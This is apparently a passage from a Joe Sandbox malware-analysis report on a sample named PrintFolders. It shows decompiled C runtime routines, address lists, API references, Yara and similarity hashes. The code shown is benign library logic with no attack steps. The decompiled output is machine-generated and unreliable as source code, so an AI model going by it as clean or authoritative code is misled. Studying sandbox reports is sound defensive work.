                                                          									_t60 = 1;
                                                          								} else {
                                                          									if(_t103 > 1) {
                                                          										L21:
                                                          										_push(3);
                                                          										goto L22;
                                                          									} else {
                                                          										if(GetCPInfo(_t62,  &_v28) == 0) {
                                                          											goto L60;
                                                          										} else {
                                                          											if(_t103 <= 0) {
                                                          												if(_t85 <= 0) {
                                                          													goto L32;
                                                          												} else {
                                                          													if(_v28 >= 2) {
                                                          														_t79 =  &_v22;
                                                          														if(_v22 != 0) {
                                                          															_t103 = _v40;
                                                          															while(1) {
                                                          																_t95 =  *((intOrPtr*)(_t79 + 1));
                                                          																if(_t95 == 0) {
                                                          																	goto L31;
                                                          																}
                                                          																_t101 =  *_t103;
                                                          																if(_t101 <  *_t79 || _t101 > _t95) {
                                                          																	_t79 = _t79 + 2;
                                                          																	if( *_t79 != 0) {
                                                          																		continue;
                                                          																	} else {
                                                          																		goto L31;
                                                          																	}
                                                          																} else {
                                                          																	goto L59;
                                                          																}
                                                          																goto L61;
                                                          															}
                                                          														}
                                                          													}
                                                          													goto L31;
                                                          												}
                                                          											} else {
                                                          												if(_v28 >= 2) {
                                                          													_t80 =  &_v22;
                                                          													if(_v22 != 0) {
                                                          														while(1) {
                                                          															_t96 =  *((intOrPtr*)(_t80 + 1));
                                                          															if(_t96 == 0) {
                                                          																goto L21;
                                                          															}
                                                          															_t101 =  *_t102;
                                                          															if(_t101 <  *_t80 || _t101 > _t96) {
                                                          																_t80 = _t80 + 2;
                                                          																if( *_t80 != 0) {
                                                          																	continue;
                                                          																} else {
                                                          																	goto L21;
                                                          																}
                                                          															} else {
                                                          																goto L59;
                                                          															}
                                                          															goto L22;
                                                          														}
                                                          													}
                                                          												}
                                                          												goto L21;
                                                          												L22:
                                                          												_pop(_t60);
                                                          											}
                                                          										}
                                                          									}
                                                          								}
                                                          							}
                                                          						} else {
                                                          							L32:
                                                          							_t102 = 0;
                                                          							_t65 = E0041FE48(_a32, 9, _v36, _t103, 0, 0);
                                                          							_t107 = _t105 + 0x18;
                                                          							_v44 = _t65;
                                                          							if(_t65 == 0) {
                                                          								L60:
                                                          								_t60 = 0;
                                                          							} else {
                                                          								_t101 = _t65 + _t65 + 8;
                                                          								asm("sbb eax, eax");
                                                          								_t66 = _t65 & _t65 + _t65 + 0x00000008;
                                                          								if(_t66 == 0) {
                                                          									_t67 = 0;
                                                          									_v32 = 0;
                                                          									goto L41;
                                                          								} else {
                                                          									if(_t66 > 0x400) {
                                                          										_t77 = E0041ED2F(_t66);
                                                          										_v32 = _t77;
                                                          										if(_t77 == 0) {
                                                          											goto L57;
                                                          										} else {
                                                          											 *_t77 = 0xdddd;
                                                          											goto L39;
                                                          										}
                                                          									} else {
                                                          										E0040F580(_t66);
                                                          										_t77 = _t107;
                                                          										_v32 = _t77;
                                                          										if(_t77 == 0) {
                                                          											L57:
                                                          											_t85 = _v32;
                                                          										} else {
                                                          											 *_t77 = 0xcccc;
                                                          											L39:
                                                          											_t67 = _t77 + 8;
                                                          											_v32 = _t67;
                                                          											L41:
                                                          											if(_t67 == 0) {
                                                          												goto L57;
                                                          											} else {
                                                          												_t103 = _a32;
                                                          												_t69 = E0041FE48(_a32, 1, _v36, _a32, _t67, _v44);
                                                          												_t108 = _t107 + 0x18;
                                                          												if(_t69 == 0) {
                                                          													goto L57;
                                                          												} else {
                                                          													_t70 = E0041FE48(_t103, 9, _v40, _t85, _t102, _t102);
                                                          													_t109 = _t108 + 0x18;
                                                          													_v36 = _t70;
                                                          													if(_t70 == 0) {
                                                          														goto L57;
                                                          													} else {
                                                          														_t101 = _t70 + _t70 + 8;
                                                          														asm("sbb eax, eax");
                                                          														_t71 = _t70 & _t70 + _t70 + 0x00000008;
                                                          														if(_t71 == 0) {
                                                          															_t103 = _t102;
                                                          															goto L52;
                                                          														} else {
                                                          															if(_t71 > 0x400) {
                                                          																_t103 = E0041ED2F(_t71);
                                                          																if(_t103 == 0) {
                                                          																	goto L55;
                                                          																} else {
                                                          																	 *_t103 = 0xdddd;
                                                          																	goto L50;
                                                          																}
                                                          															} else {
                                                          																E0040F580(_t71);
                                                          																_t103 = _t109;
                                                          																if(_t103 == 0) {
                                                          																	L55:
                                                          																	_t85 = _v32;
                                                          																} else {
                                                          																	 *_t103 = 0xcccc;
                                                          																	L50:
                                                          																	_t103 = _t103 + 8;
                                                          																	L52:
                                                          																	if(_t103 == 0 || E0041FE48(_a32, 1, _v40, _t85, _t103, _v36) == 0) {
                                                          																		goto L55;
                                                          																	} else {
                                                          																		_t85 = _v32;
                                                          																		_t102 = E0041E671(_v48, _a12, _v32, _v44, _t103, _v36, _t102, _t102, _t102);
                                                          																	}
                                                          																}
                                                          															}
                                                          														}
                                                          														E0040EBA1(_t103);
                                                          													}
                                                          												}
                                                          											}
                                                          										}
                                                          									}
                                                          								}
                                                          								E0040EBA1(_t85);
                                                          								_t60 = _t102;
                                                          							}
                                                          						}
                                                          					}
                                                          				}
                                                          				L61:
                                                          				return E0040EBBF(_t60, _t85, _v8 ^ _t104, _t101, _t102, _t103);
                                                          			}



































                                                          0x0042a512
                                                          0x0042a519
                                                          0x0042a521
                                                          0x0042a524
                                                          0x0042a52a
                                                          0x0042a52d
                                                          0x0042a530
                                                          0x0042a534
                                                          0x0042a537
                                                          0x0042a53c
                                                          0x0042a551
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x0042a53e
                                                          0x0042a546
                                                          0x0042a548
                                                          0x0042a557
                                                          0x0042a557
                                                          0x0042a55c
                                                          0x0042a56e
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x0042a55e
                                                          0x0042a567
                                                          0x0042a574
                                                          0x0042a574
                                                          0x0042a579
                                                          0x0042a580
                                                          0x0042a583
                                                          0x0042a583
                                                          0x0042a588
                                                          0x0042a594
                                                          0x0042a77a
                                                          0x0042a77a
                                                          0x00000000
                                                          0x0042a59a
                                                          0x0042a59d
                                                          0x0042a626
                                                          0x0042a628
                                                          0x0042a5a3
                                                          0x0042a5a6
                                                          0x0042a5eb
                                                          0x0042a5eb
                                                          0x00000000
                                                          0x0042a5a8
                                                          0x0042a5b5
                                                          0x00000000
                                                          0x0042a5bb
                                                          0x0042a5bd
                                                          0x0042a5f5
                                                          0x00000000
                                                          0x0042a5f7
                                                          0x0042a5fb
                                                          0x0042a601
                                                          0x0042a604
                                                          0x0042a606
                                                          0x0042a609
                                                          0x0042a609
                                                          0x0042a60e
                                                          0x00000000
                                                          0x00000000
                                                          0x0042a610
                                                          0x0042a614
                                                          0x0042a61e
                                                          0x0042a624
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x0042a614
                                                          0x0042a609
                                                          0x0042a604
                                                          0x00000000
                                                          0x0042a5fb
                                                          0x0042a5bf
                                                          0x0042a5c3
                                                          0x0042a5c9
                                                          0x0042a5cc
                                                          0x0042a5ce
                                                          0x0042a5ce
                                                          0x0042a5d3
                                                          0x00000000
                                                          0x00000000
                                                          0x0042a5d5
                                                          0x0042a5d9
                                                          0x0042a5e3
                                                          0x0042a5e9
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x0042a5d9
                                                          0x0042a5ce
                                                          0x0042a5cc
                                                          0x00000000
                                                          0x0042a5ed
                                                          0x0042a5ed
                                                          0x0042a5ed
                                                          0x0042a5bd
                                                          0x0042a5b5
                                                          0x0042a5a6
                                                          0x0042a59d
                                                          0x0042a62e
                                                          0x0042a62e
                                                          0x0042a62e
                                                          0x0042a63b
                                                          0x0042a640
                                                          0x0042a643
                                                          0x0042a648
                                                          0x0042a781
                                                          0x0042a781
                                                          0x0042a64e
                                                          0x0042a651
                                                          0x0042a656
                                                          0x0042a658
                                                          0x0042a65a
                                                          0x0042a69d
                                                          0x0042a69f
                                                          0x00000000
                                                          0x0042a65c
                                                          0x0042a661
                                                          0x0042a67e
                                                          0x0042a683
                                                          0x0042a689
                                                          0x00000000
                                                          0x0042a68f
                                                          0x0042a68f
                                                          0x00000000
                                                          0x0042a68f
                                                          0x0042a663
                                                          0x0042a663
                                                          0x0042a668
                                                          0x0042a66a
                                                          0x0042a66f
                                                          0x0042a76c
                                                          0x0042a76c
                                                          0x0042a675
                                                          0x0042a675
                                                          0x0042a695
                                                          0x0042a695
                                                          0x0042a698
                                                          0x0042a6a2
                                                          0x0042a6a4
                                                          0x00000000
                                                          0x0042a6aa
                                                          0x0042a6b2
                                                          0x0042a6b8
                                                          0x0042a6bd
                                                          0x0042a6c2
                                                          0x00000000
                                                          0x0042a6c8
                                                          0x0042a6d1
                                                          0x0042a6d6
                                                          0x0042a6d9
                                                          0x0042a6de
                                                          0x00000000
                                                          0x0042a6e4
                                                          0x0042a6e7
                                                          0x0042a6ec
                                                          0x0042a6ee
                                                          0x0042a6f0
                                                          0x0042a724
                                                          0x00000000
                                                          0x0042a6f2
                                                          0x0042a6f7
                                                          0x0042a712
                                                          0x0042a717
                                                          0x00000000
                                                          0x0042a719
                                                          0x0042a719
                                                          0x00000000
                                                          0x0042a719
                                                          0x0042a6f9
                                                          0x0042a6f9
                                                          0x0042a6fe
                                                          0x0042a702
                                                          0x0042a760
                                                          0x0042a760
                                                          0x0042a704
                                                          0x0042a704
                                                          0x0042a71f
                                                          0x0042a71f
                                                          0x0042a726
                                                          0x0042a728
                                                          0x00000000
                                                          0x0042a743
                                                          0x0042a743
                                                          0x0042a75c
                                                          0x0042a75c
                                                          0x0042a728
                                                          0x0042a702
                                                          0x0042a6f7
                                                          0x0042a764
                                                          0x0042a769
                                                          0x0042a6de
                                                          0x0042a6c2
                                                          0x0042a6a4
                                                          0x0042a66f
                                                          0x0042a661
                                                          0x0042a770
                                                          0x0042a776
                                                          0x0042a776
                                                          0x0042a648
                                                          0x0042a588
                                                          0x0042a55c
                                                          0x0042a783
                                                          0x0042a794

                                                          APIs
                                                          • GetCPInfo.KERNEL32(00000000,00000001,6E36C9B5,7FFFFFFF,?,?,0042A7C6,00000000,00000000,?,00000001,?,?,?,?,00000001), ref: 0042A5AD
                                                          • __alloca_probe_16.LIBCMT ref: 0042A663
                                                          • __alloca_probe_16.LIBCMT ref: 0042A6F9
                                                          • __freea.LIBCMT ref: 0042A764
                                                          • __freea.LIBCMT ref: 0042A770
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000002.00000002.380613965.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_400000_PrintFolders.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: __alloca_probe_16__freea$Info
                                                          • String ID:
                                                          • API String ID: 2330168043-0
                                                          • Opcode ID: a5fe50a03750e12b804546607bf942e621f4ed7c490ae8aaad7ccc39bb9a9842
                                                          • Instruction ID: f4f69ad519bf12574fe1d3cc16ac7f29689b845bc3e354e2090f1d74cfa97f91
                                                          • Opcode Fuzzy Hash: a5fe50a03750e12b804546607bf942e621f4ed7c490ae8aaad7ccc39bb9a9842
                                                          • Instruction Fuzzy Hash: A981B372E002256BDF209E55AD41AEF7BB59F49714F98005BEC40A7241D73DCC61CBAE
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 88%
                                                          			E1000B48F(signed int _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr* _a16, intOrPtr* _a20, intOrPtr* _a24, intOrPtr _a28, int _a32) {
                                                          				signed int _v8;
                                                          				char _v22;
                                                          				struct _cpinfo _v28;
                                                          				intOrPtr* _v32;
                                                          				signed int _v36;
                                                          				intOrPtr* _v40;
                                                          				signed int _v44;
                                                          				intOrPtr _v48;
                                                          				void* _v60;
                                                          				void* __ebx;
                                                          				void* __edi;
                                                          				void* __esi;
                                                          				signed int _t55;
                                                          				intOrPtr* _t60;
                                                          				int _t62;
                                                          				signed int _t65;
                                                          				signed int _t66;
                                                          				intOrPtr* _t67;
                                                          				void* _t69;
                                                          				signed int _t70;
                                                          				signed int _t71;
                                                          				intOrPtr* _t77;
                                                          				char* _t79;
                                                          				char* _t80;
                                                          				intOrPtr _t95;
                                                          				intOrPtr _t96;
                                                          				intOrPtr* _t102;
                                                          				signed int _t104;
                                                          				void* _t105;
                                                          				intOrPtr* _t107;
                                                          				void* _t108;
                                                          				intOrPtr* _t109;
                                                          
                                                          				_t55 =  *0x10017004; // 0x615bd7ba
                                                          				_v8 = _t55 ^ _t104;
                                                          				_t103 = _a20;
                                                          				_v44 = _a4;
                                                          				_v48 = _a8;
                                                          				_t59 = _a24;
                                                          				_v40 = _a24;
                                                          				_t102 = _a16;
                                                          				_v36 = _t102;
                                                          				if(_t103 <= 0) {
                                                          					if(_t103 < 0xffffffff) {
                                                          						goto L60;
                                                          					} else {
                                                          						goto L3;
                                                          					}
                                                          				} else {
                                                          					_t103 = E1000D4D1(_t102, _t103);
                                                          					_t59 = _v40;
                                                          					L3:
                                                          					_t85 = _a28;
                                                          					if(_t85 <= 0) {
                                                          						if(_t85 < 0xffffffff) {
                                                          							goto L60;
                                                          						} else {
                                                          							goto L6;
                                                          						}
                                                          					} else {
                                                          						_t85 = E1000D4D1(_t59, _t85);
                                                          						L6:
                                                          						_t62 = _a32;
                                                          						if(_t62 == 0) {
                                                          							_t62 =  *( *_v44 + 8);
                                                          							_a32 = _t62;
                                                          						}
                                                          						if(_t103 == 0 || _t85 == 0) {
                                                          							if(_t103 == _t85) {
                                                          								L59:
                                                          								_push(2);
                                                          								goto L22;
                                                          							} else {
                                                          								if(_t85 > 1) {
                                                          									L31:
                                                          									_t60 = 1;
                                                          								} else {
                                                          									if(_t103 > 1) {
                                                          										L21:
                                                          										_push(3);
                                                          										goto L22;
                                                          									} else {
                                                          										if(GetCPInfo(_t62,  &_v28) == 0) {
                                                          											goto L60;
                                                          										} else {
                                                          											if(_t103 <= 0) {
                                                          												if(_t85 <= 0) {
                                                          													goto L32;
                                                          												} else {
                                                          													if(_v28 >= 2) {
                                                          														_t79 =  &_v22;
                                                          														if(_v22 != 0) {
                                                          															_t103 = _v40;
                                                          															while(1) {
                                                          																_t95 =  *((intOrPtr*)(_t79 + 1));
                                                          																if(_t95 == 0) {
                                                          																	goto L31;
                                                          																}
                                                          																_t101 =  *_t103;
                                                          																if(_t101 <  *_t79 || _t101 > _t95) {
                                                          																	_t79 = _t79 + 2;
                                                          																	if( *_t79 != 0) {
                                                          																		continue;
                                                          																	} else {
                                                          																		goto L31;
                                                          																	}
                                                          																} else {
                                                          																	goto L59;
                                                          																}
                                                          																goto L61;
                                                          															}
                                                          														}
                                                          													}
                                                          													goto L31;
                                                          												}
                                                          											} else {
                                                          												if(_v28 >= 2) {
                                                          													_t80 =  &_v22;
                                                          													if(_v22 != 0) {
                                                          														while(1) {
                                                          															_t96 =  *((intOrPtr*)(_t80 + 1));
                                                          															if(_t96 == 0) {
                                                          																goto L21;
                                                          															}
                                                          															_t101 =  *_t102;
                                                          															if(_t101 <  *_t80 || _t101 > _t96) {
                                                          																_t80 = _t80 + 2;
                                                          																if( *_t80 != 0) {
                                                          																	continue;
                                                          																} else {
                                                          																	goto L21;
                                                          																}
                                                          															} else {
                                                          																goto L59;
                                                          															}
                                                          															goto L22;
                                                          														}
                                                          													}
                                                          												}
                                                          												goto L21;
                                                          												L22:
                                                          												_pop(_t60);
                                                          											}
                                                          										}
                                                          									}
                                                          								}
                                                          							}
                                                          						} else {
                                                          							L32:
                                                          							_t102 = 0;
                                                          							_t65 = E1000A43C(_a32, 9, _v36, _t103, 0, 0);
                                                          							_t107 = _t105 + 0x18;
                                                          							_v44 = _t65;
                                                          							if(_t65 == 0) {
                                                          								L60:
                                                          								_t60 = 0;
                                                          							} else {
                                                          								_t101 = _t65 + _t65 + 8;
                                                          								asm("sbb eax, eax");
                                                          								_t66 = _t65 & _t65 + _t65 + 0x00000008;
                                                          								if(_t66 == 0) {
                                                          									_t67 = 0;
                                                          									_v32 = 0;
                                                          									goto L41;
                                                          								} else {
                                                          									if(_t66 > 0x400) {
                                                          										_t77 = E1000873B(_t66);
                                                          										_v32 = _t77;
                                                          										if(_t77 == 0) {
                                                          											goto L57;
                                                          										} else {
                                                          											 *_t77 = 0xdddd;
                                                          											goto L39;
                                                          										}
                                                          									} else {
                                                          										E1000F460(_t66);
                                                          										_t77 = _t107;
                                                          										_v32 = _t77;
                                                          										if(_t77 == 0) {
                                                          											L57:
                                                          											_t85 = _v32;
                                                          										} else {
                                                          											 *_t77 = 0xcccc;
                                                          											L39:
                                                          											_t67 = _t77 + 8;
                                                          											_v32 = _t67;
                                                          											L41:
                                                          											if(_t67 == 0) {
                                                          												goto L57;
                                                          											} else {
                                                          												_t103 = _a32;
                                                          												_t69 = E1000A43C(_a32, 1, _v36, _a32, _t67, _v44);
                                                          												_t108 = _t107 + 0x18;
                                                          												if(_t69 == 0) {
                                                          													goto L57;
                                                          												} else {
                                                          													_t70 = E1000A43C(_t103, 9, _v40, _t85, _t102, _t102);
                                                          													_t109 = _t108 + 0x18;
                                                          													_v36 = _t70;
                                                          													if(_t70 == 0) {
                                                          														goto L57;
                                                          													} else {
                                                          														_t101 = _t70 + _t70 + 8;
                                                          														asm("sbb eax, eax");
                                                          														_t71 = _t70 & _t70 + _t70 + 0x00000008;
                                                          														if(_t71 == 0) {
                                                          															_t103 = _t102;
                                                          															goto L52;
                                                          														} else {
                                                          															if(_t71 > 0x400) {
                                                          																_t103 = E1000873B(_t71);
                                                          																if(_t103 == 0) {
                                                          																	goto L55;
                                                          																} else {
                                                          																	 *_t103 = 0xdddd;
                                                          																	goto L50;
                                                          																}
                                                          															} else {
                                                          																E1000F460(_t71);
                                                          																_t103 = _t109;
                                                          																if(_t103 == 0) {
                                                          																	L55:
                                                          																	_t85 = _v32;
                                                          																} else {
                                                          																	 *_t103 = 0xcccc;
                                                          																	L50:
                                                          																	_t103 = _t103 + 8;
                                                          																	L52:
                                                          																	if(_t103 == 0 || E1000A43C(_a32, 1, _v40, _t85, _t103, _v36) == 0) {
                                                          																		goto L55;
                                                          																	} else {
                                                          																		_t85 = _v32;
                                                          																		_t102 = E100081B8(_v48, _a12, _v32, _v44, _t103, _v36, _t102, _t102, _t102);
                                                          																	}
                                                          																}
                                                          															}
                                                          														}
                                                          														E1000B760(_t103);
                                                          													}
                                                          												}
                                                          											}
                                                          										}
                                                          									}
                                                          								}
                                                          								E1000B760(_t85);
                                                          								_t60 = _t102;
                                                          							}
                                                          						}
                                                          					}
                                                          				}
                                                          				L61:
                                                          				return E100031FF(_t60, _t85, _v8 ^ _t104, _t101, _t102, _t103);
                                                          			}



































                                                          0x1000b497
                                                          0x1000b49e
                                                          0x1000b4a6
                                                          0x1000b4a9
                                                          0x1000b4af
                                                          0x1000b4b2
                                                          0x1000b4b5
                                                          0x1000b4b9
                                                          0x1000b4bc
                                                          0x1000b4c1
                                                          0x1000b4d6
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x1000b4c3
                                                          0x1000b4cb
                                                          0x1000b4cd
                                                          0x1000b4dc
                                                          0x1000b4dc
                                                          0x1000b4e1
                                                          0x1000b4f3
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x1000b4e3
                                                          0x1000b4ec
                                                          0x1000b4f9
                                                          0x1000b4f9
                                                          0x1000b4fe
                                                          0x1000b505
                                                          0x1000b508
                                                          0x1000b508
                                                          0x1000b50d
                                                          0x1000b519
                                                          0x1000b6ff
                                                          0x1000b6ff
                                                          0x00000000
                                                          0x1000b51f
                                                          0x1000b522
                                                          0x1000b5ab
                                                          0x1000b5ad
                                                          0x1000b528
                                                          0x1000b52b
                                                          0x1000b570
                                                          0x1000b570
                                                          0x00000000
                                                          0x1000b52d
                                                          0x1000b53a
                                                          0x00000000
                                                          0x1000b540
                                                          0x1000b542
                                                          0x1000b57a
                                                          0x00000000
                                                          0x1000b57c
                                                          0x1000b580
                                                          0x1000b586
                                                          0x1000b589
                                                          0x1000b58b
                                                          0x1000b58e
                                                          0x1000b58e
                                                          0x1000b593
                                                          0x00000000
                                                          0x00000000
                                                          0x1000b595
                                                          0x1000b599
                                                          0x1000b5a3
                                                          0x1000b5a9
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x1000b599
                                                          0x1000b58e
                                                          0x1000b589
                                                          0x00000000
                                                          0x1000b580
                                                          0x1000b544
                                                          0x1000b548
                                                          0x1000b54e
                                                          0x1000b551
                                                          0x1000b553
                                                          0x1000b553
                                                          0x1000b558
                                                          0x00000000
                                                          0x00000000
                                                          0x1000b55a
                                                          0x1000b55e
                                                          0x1000b568
                                                          0x1000b56e
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x1000b55e
                                                          0x1000b553
                                                          0x1000b551
                                                          0x00000000
                                                          0x1000b572
                                                          0x1000b572
                                                          0x1000b572
                                                          0x1000b542
                                                          0x1000b53a
                                                          0x1000b52b
                                                          0x1000b522
                                                          0x1000b5b3
                                                          0x1000b5b3
                                                          0x1000b5b3
                                                          0x1000b5c0
                                                          0x1000b5c5
                                                          0x1000b5c8
                                                          0x1000b5cd
                                                          0x1000b706
                                                          0x1000b706
                                                          0x1000b5d3
                                                          0x1000b5d6
                                                          0x1000b5db
                                                          0x1000b5dd
                                                          0x1000b5df
                                                          0x1000b622
                                                          0x1000b624
                                                          0x00000000
                                                          0x1000b5e1
                                                          0x1000b5e6
                                                          0x1000b603
                                                          0x1000b608
                                                          0x1000b60e
                                                          0x00000000
                                                          0x1000b614
                                                          0x1000b614
                                                          0x00000000
                                                          0x1000b614
                                                          0x1000b5e8
                                                          0x1000b5e8
                                                          0x1000b5ed
                                                          0x1000b5ef
                                                          0x1000b5f4
                                                          0x1000b6f1
                                                          0x1000b6f1
                                                          0x1000b5fa
                                                          0x1000b5fa
                                                          0x1000b61a
                                                          0x1000b61a
                                                          0x1000b61d
                                                          0x1000b627
                                                          0x1000b629
                                                          0x00000000
                                                          0x1000b62f
                                                          0x1000b637
                                                          0x1000b63d
                                                          0x1000b642
                                                          0x1000b647
                                                          0x00000000
                                                          0x1000b64d
                                                          0x1000b656
                                                          0x1000b65b
                                                          0x1000b65e
                                                          0x1000b663
                                                          0x00000000
                                                          0x1000b669
                                                          0x1000b66c
                                                          0x1000b671
                                                          0x1000b673
                                                          0x1000b675
                                                          0x1000b6a9
                                                          0x00000000
                                                          0x1000b677
                                                          0x1000b67c
                                                          0x1000b697
                                                          0x1000b69c
                                                          0x00000000
                                                          0x1000b69e
                                                          0x1000b69e
                                                          0x00000000
                                                          0x1000b69e
                                                          0x1000b67e
                                                          0x1000b67e
                                                          0x1000b683
                                                          0x1000b687
                                                          0x1000b6e5
                                                          0x1000b6e5
                                                          0x1000b689
                                                          0x1000b689
                                                          0x1000b6a4
                                                          0x1000b6a4
                                                          0x1000b6ab
                                                          0x1000b6ad
                                                          0x00000000
                                                          0x1000b6c8
                                                          0x1000b6c8
                                                          0x1000b6e1
                                                          0x1000b6e1
                                                          0x1000b6ad
                                                          0x1000b687
                                                          0x1000b67c
                                                          0x1000b6e9
                                                          0x1000b6ee
                                                          0x1000b663
                                                          0x1000b647
                                                          0x1000b629
                                                          0x1000b5f4
                                                          0x1000b5e6
                                                          0x1000b6f5
                                                          0x1000b6fb
                                                          0x1000b6fb
                                                          0x1000b5cd
                                                          0x1000b50d
                                                          0x1000b4e1
                                                          0x1000b708
                                                          0x1000b719

                                                          APIs
                                                          • GetCPInfo.KERNEL32(00000000,00000001,0000000C,7FFFFFFF,?,?,1000B74B,00000000,00000000,?,00000001,?,?,?,?,00000001), ref: 1000B532
                                                          • __alloca_probe_16.LIBCMT ref: 1000B5E8
                                                          • __alloca_probe_16.LIBCMT ref: 1000B67E
                                                          • __freea.LIBCMT ref: 1000B6E9
                                                          • __freea.LIBCMT ref: 1000B6F5
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.382027738.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                          • Associated: 00000002.00000002.382023656.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382041699.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382053662.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382059437.0000000010019000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_10000000_PrintFolders.jbxd
                                                          Similarity
                                                          • API ID: __alloca_probe_16__freea$Info
                                                          • String ID:
                                                          • API String ID: 2330168043-0
                                                          • Opcode ID: c6390f5830a5bd64e0d7d9921fe9131eca71760e160ba7ebcfd4c686c01d4e7a
                                                          • Instruction ID: 51b2610d37baa8f47a16c6f8ed064628e0d76a618a69041087d5fbf597a7fe1f
                                                          • Opcode Fuzzy Hash: c6390f5830a5bd64e0d7d9921fe9131eca71760e160ba7ebcfd4c686c01d4e7a
                                                          • Instruction Fuzzy Hash: 7481B072E00A1A9BFF10DE658C81AEE7BF9DF493D4F150159E804B7249D636DD40CBA1
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 60%
                                                          			E1000D0F4(void* __ecx, intOrPtr* _a4, intOrPtr _a8, signed int _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32, intOrPtr _a36) {
                                                          				signed int _v8;
                                                          				intOrPtr _v12;
                                                          				void* _v24;
                                                          				void* __ebx;
                                                          				void* __edi;
                                                          				void* __esi;
                                                          				signed int _t41;
                                                          				signed int _t49;
                                                          				void* _t51;
                                                          				signed int _t55;
                                                          				intOrPtr _t63;
                                                          				intOrPtr _t69;
                                                          				void* _t71;
                                                          				intOrPtr* _t72;
                                                          				intOrPtr _t86;
                                                          				void* _t89;
                                                          				intOrPtr* _t91;
                                                          				intOrPtr _t93;
                                                          				void* _t94;
                                                          				void* _t95;
                                                          				signed int _t96;
                                                          				void* _t97;
                                                          				intOrPtr* _t98;
                                                          				intOrPtr* _t100;
                                                          				void* _t103;
                                                          
                                                          				_push(__ecx);
                                                          				_push(__ecx);
                                                          				_t41 =  *0x10017004; // 0x615bd7ba
                                                          				_v8 = _t41 ^ _t96;
                                                          				_t93 = _a20;
                                                          				if(_t93 > 0) {
                                                          					_t69 = E1000D4D1(_a16, _t93);
                                                          					_t103 = _t69 - _t93;
                                                          					_t4 = _t69 + 1; // 0x1
                                                          					_t93 = _t4;
                                                          					if(_t103 >= 0) {
                                                          						_t93 = _t69;
                                                          					}
                                                          				}
                                                          				_t88 = _a32;
                                                          				if(_a32 == 0) {
                                                          					_t88 =  *((intOrPtr*)( *_a4 + 8));
                                                          					_a32 =  *((intOrPtr*)( *_a4 + 8));
                                                          				}
                                                          				_t86 = E1000A43C(_t88, 1 + (0 | _a36 != 0x00000000) * 8, _a16, _t93, 0, 0);
                                                          				_t98 = _t97 + 0x18;
                                                          				_v12 = _t86;
                                                          				if(_t86 == 0) {
                                                          					L39:
                                                          					_pop(_t89);
                                                          					_pop(_t94);
                                                          					_pop(_t71);
                                                          					return E100031FF(_t46, _t71, _v8 ^ _t96, _t86, _t89, _t94);
                                                          				} else {
                                                          					_t17 = _t86 + _t86 + 8; // 0x8
                                                          					asm("sbb eax, eax");
                                                          					_t49 = _t86 + _t86 & _t17;
                                                          					if(_t49 == 0) {
                                                          						_t72 = 0;
                                                          						L15:
                                                          						if(_t72 == 0) {
                                                          							L37:
                                                          							_t95 = 0;
                                                          							L38:
                                                          							E1000B760(_t72);
                                                          							_t46 = _t95;
                                                          							goto L39;
                                                          						}
                                                          						_t51 = E1000A43C(_t88, 1, _a16, _t93, _t72, _t86);
                                                          						_t100 = _t98 + 0x18;
                                                          						if(_t51 == 0) {
                                                          							goto L37;
                                                          						}
                                                          						_t90 = _v12;
                                                          						_t95 = E1000835F(_a8, _a12, _t72, _v12, 0, 0, 0, 0, 0);
                                                          						if(_t95 == 0) {
                                                          							goto L37;
                                                          						}
                                                          						_t86 = 0x400;
                                                          						if((_a12 & 0x00000400) == 0) {
                                                          							_t31 = _t95 + _t95 + 8; // 0x8
                                                          							asm("sbb eax, eax");
                                                          							_t55 = _t95 + _t95 & _t31;
                                                          							if(_t55 == 0) {
                                                          								_t91 = 0;
                                                          								L31:
                                                          								if(_t91 == 0 || E1000835F(_a8, _a12, _t72, _v12, _t91, _t95, 0, 0, 0) == 0) {
                                                          									L36:
                                                          									E1000B760(_t91);
                                                          									goto L37;
                                                          								} else {
                                                          									_push(0);
                                                          									_push(0);
                                                          									if(_a28 != 0) {
                                                          										_push(_a28);
                                                          										_push(_a24);
                                                          									} else {
                                                          										_push(0);
                                                          										_push(0);
                                                          									}
                                                          									_push(_t95);
                                                          									_push(_t91);
                                                          									_push(0);
                                                          									_push(_a32);
                                                          									_t95 = E1000A4B8();
                                                          									if(_t95 != 0) {
                                                          										E1000B760(_t91);
                                                          										goto L38;
                                                          									} else {
                                                          										goto L36;
                                                          									}
                                                          								}
                                                          							}
                                                          							if(_t55 > 0x400) {
                                                          								_t91 = E1000873B(_t55);
